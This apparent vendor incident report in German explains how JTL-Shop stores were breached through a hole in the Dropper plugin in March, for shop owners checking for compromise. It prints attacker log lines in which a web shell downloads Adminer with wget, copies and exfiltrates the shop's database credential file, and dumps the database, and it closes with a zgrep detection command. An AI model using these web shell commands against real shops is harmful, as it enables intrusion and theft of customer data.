Dein Warenkorb ist leer

Wiki

Wie wurde der Angriff durchgeführt?

Nach der Auswertung einiger Log-Files von uns und anderen Kunden können wir folgende Angriffe feststellen:

01.03., 07.03., 20.03.

Bei einigen Shops konnten wir beobachten wie zu diesen Zeiträumen scheinbar automatisiert eine GET und eine POST Anfrage gegen <shop-url>/Kontakt gemacht wurde. Diese Anfragen kamen von den IPs 82.102.18.147 und 82.102.18.143. Wir vermuten das hiermit automatisiert geprüft wurde ob es sich um einen JTL-Shop handelt, bzw. ob dieser Online ist.

GET /Kontakt
POST /Kontakt

09.03. - gegen 19:00 Uhr

Bei einigen (aber nicht allen) Shops wurde an diesem Datum ein erster Angriffsversuch gestartet. Die Angriffe stammten alle von der IP 82.102.18.14. Hierbei wurde eine Lücke in Dropper ausgenutzt um die Datei check.php hochzuladen. Diese Datei erlaubt die Ausführung von remote Kommandos auf dem Server. Dann wurde die check.php Datei umbenannt in einen dynamischen Namen, z.B. zdcfc4ceb34.php. Daraufhin wurde die nun umbenannte check.php verwendet um das Datenbanktool adminer von der Adresse https://www.adminer.org/latest.php herunterzuladen - wiederrum in einer kryptisch bennannten Datei, z.B. yd7cdf8c21424.php. Daraufhin wurde die umbenannte check.php Datei verwendet um eine Kopie der config.JTL-Shop.ini.php unter dem Namen c.txt zu speichern. Daraufhin wurde die c.txt heruntergeladen, wodurch der Angreifer den Inhalt der config.JTL-Shop.ini.php kennt. Am Ende wurde die umbenannte check.php verwendet um die c.txt wieder zu löschen.

[ Ausnutzen der Dropper Lücke - Log versteckt um keine Nachahmer anzuziehen ]
GET /bilder/kk_dropper_uploads/check.php?q=mv check.php ../zdcfc4ceb34.php
GET /bilder/zdcfc4ceb34.php?q=wget https://www.adminer.org/latest.php -O yd7cdf8c21424.php
GET /bilder/zdcfc4ceb34.php?q=cp ../includes/config.JTL-Shop.ini.php c.txt
GET /bilder/c.txt
GET /bilder/zdcfc4ceb34.php?q=rm c.txt

11.03. - gegen 02:00 Uhr bzw. gegen 12:00 Uhr

Die meisten Shops (auch jene die bereits am 09.03. angegriffen wurden) sind an diesem Datum attackiert worden. Der Angriff stammt in allen uns bekannten Fällen von der IP 82.102.18.12.
Das Vorgehen hat sich im Vergleich zum Angriff vom 09.03. nochmals geändert:

Bei bereits am 09.03. angegriffenen Shops wurden die am 09.03. erstellten PHP Dateien zunächst gelöscht:

GET /bilder/zdcfc4ceb34.php?rm=yd7cdf8c21424.php
GET /bilder/zdcfc4ceb34.php?rm=zdcfc4ceb34.php

Draufhin wurde eine Lücke in Dropper ausgenutzt um die Dateien check.php und checka.php hochzuladen. Die check.php erlaubt die Ausführung von remote Kommandos auf dem Server, währenddessen die checka.php Datei das Datenbanktool Adminer enthällt. Daraufhin wurde mittels der check.php das Verzeichnis /downloads/vorschau erstellt. Dann wurden checka.php und check.php mittels check.php in den Ordner /downloads/vorschau unter kryptischem Namen verschoben, z.B. checka.php nach /downloads/vorschau/y7c6f79e49a75.php und dann check.php nach /downloads/vorschau/z2104c3adf9.php. Daraufhin wurde die umbenannte check.php Datei verwendet um eine Kopie der config.JTL-Shop.ini.php unter dem Namen c.txt zu speichern. Daraufhin wurde die c.txt heruntergeladen, wodurch der Angreifer den Inhalt der config.JTL-Shop.ini.php kennt. Am Ende wurde die umbenannte check.php verwendet um evtl. vorhandene check.php und checka.php aus dem /bilder/kk_dropper_uploads Ordner zu löschen.

[ Ausnutzen der Dropper Lücke - Log versteckt um keine Nachahmer anzuziehen ]
GET /bilder/kk_dropper_uploads/check.php?mk=../../downloads/vorschau
GET /bilder/kk_dropper_uploads/check.php?mv=checka.php&mv2=../../downloads/vorschau/y7c6f79e49a75.php
GET /bilder/kk_dropper_uploads/check.php?mv=check.php&mv2=../../downloads/vorschau/z2104c3adf9.php
GET /downloads/vorschau/z2104c3adf9.php?cp=../../includes/config.JTL-Shop.ini.php&cp2=c.txt
GET /downloads/vorschau/c.txt
GET /bilder/kk_dropper_uploads/check.php?rm=[WEB_ROOT]/bilder/kk_dropper_uploads/check.php
GET /bilder/kk_dropper_uploads/check.php?rm=[WEB_ROOT]/bilder/kk_dropper_uploads/checka.php

11.03. - gegen 13:30 Uhr

In den Logs der meisten Shops konnten wir feststellen wie der Angreifer gegen 13:30 Uhr versucht hat mit der umbenannten check.php Datei die c.txt wieder zu löschen - vermutlich um seine Spuren zu verwischen.

GET /downloads/vorschau/z2104c3adf9.php?rm=c.txt

Weiteres Vorgehen des Angreifers

Nach der vorherigen Angriffswelle besitzt der Angreifer nun die Datenbank Zugangsdaten zum Shop, sowie die Möglichkeit sich per Adminer Tool mit der Datenbank zu verbinden. Wir konnten in unserem eigenen Shop feststellen, wie er den Adminer benutzt um zuerst in einige Datenbanktabellen zu schauen, und dann am Ende die Datenbank exportiert (dump).

Das Exportieren der Datenbank sieht in unserem Log in etwa so aus (Begriffe in eckigen Klammern wurden durch Platzhalter ersetzt):

POST /downloads/vorschau/y7c6f79e49a75.php?server=[db-server-ip]&username=[db-user]&db=[db]&dump=

Festellen ob die Shop Datenbank ausgespäht wurde

Der Angreifer hat ein PHP Script hochgeladen, welches das PHP Tool Adminer enthält. Dieses Tool kann der Angreifer benutzen um deine Datenbank auszuspähen und zu kopieren.

Solltest du Zugang zu den Log-Dateien des betroffenen Servers haben, empfehlen wir dir folgende Befehle auf deinem Server auszuführen um festzustellen ob der Angreifer sich via Adminer Zugriff zu deiner Datenbank verschafft hat.

Wichtig! Stelle vorher sicher dass die Logs für den Zeitraum des Angriffs (09.03 - heute) vorliegen, falls nicht ist die Ausgabe der folgenden Befehle nicht aussagekräftig.

# Wechsel in das Verzeichnis in dem sich die access logs deines
# Servers befinden, oft ist das /var/logs/apache2 oder /var/log/nginx
cd /verzeichnis/zu/access/logs

# Durchsuche die Logs nach Spuren eines Zugriffs auf Adminer, also
# auf die Stichwörter "&dump=" oder ".php?server=" oder "&version=4.7.1" 
zgrep '&dump=\|.php?server=\|&version=4.7.1' *access*.*

Sollte dieses Kommando keine Einträge zurückgeben, könnte das ein Hinweis darauf sein, dass der Angreifer den Adminer bisher nicht auf deinem Server ausgeführt hat und deine Datenbank noch nicht abgezogen wurde. Das war bis auf wenige Ausnahmen aller von uns durchsuchten Logs glücklicherweise der Fall.

Festellen ob der Angreifer sich extern Zugriff auf deinen Datenbank Server verschafft hat

Sollte dein Server befallen sein, kennt der Angreifer in jedem Fall den Datenbank-Benutzer und Kennwort des Shops, da er den Inhalt der Shop Konfigurationsdatei [shop-root]/includes/config.JTL-Shop.ini.php gelesen hat.

Dein Server Administrator sollte prüfen ob der Datenbank Server des Shops über das Internet erreichbar ist. Sollte das tatsächlich der Fall sein, musst du davon ausgehen dass deine Datenbank ausgespäht wurde.

Meine Datenbank wurde vielleicht ausgespäht, was nun?

Die primären Kundendaten befinden sich in der Tabelle tKunde, diese enthält unverschlüsselt für jeden Kunden:

  • Vorname
  • Adressdaten
  • Telefonummer
  • Emailadresse

Weitere sensible Daten in dieser Tabelle (Nachname des Kunden) sind verschlüsselt. Allerdings konnte der Angreifer auch den Blowfish-Key aus der config.JTL-Shop.ini.php ausspähen, womit er diese Daten entschlüsseln kann.

Passwörter der Kunden sind vermutlich nicht betroffen, da diese nur gehasht in der Datenbank abgelegt werden. Sensible Zahlungsdaten (z.B. CV Codes für Kredit, Logindaten Paypal) werden nicht in der Datenbank gehalten. Allerdings schreiben einige Zahlungsanbieter Informationen in die Datenbanktabelle tzahlungslog.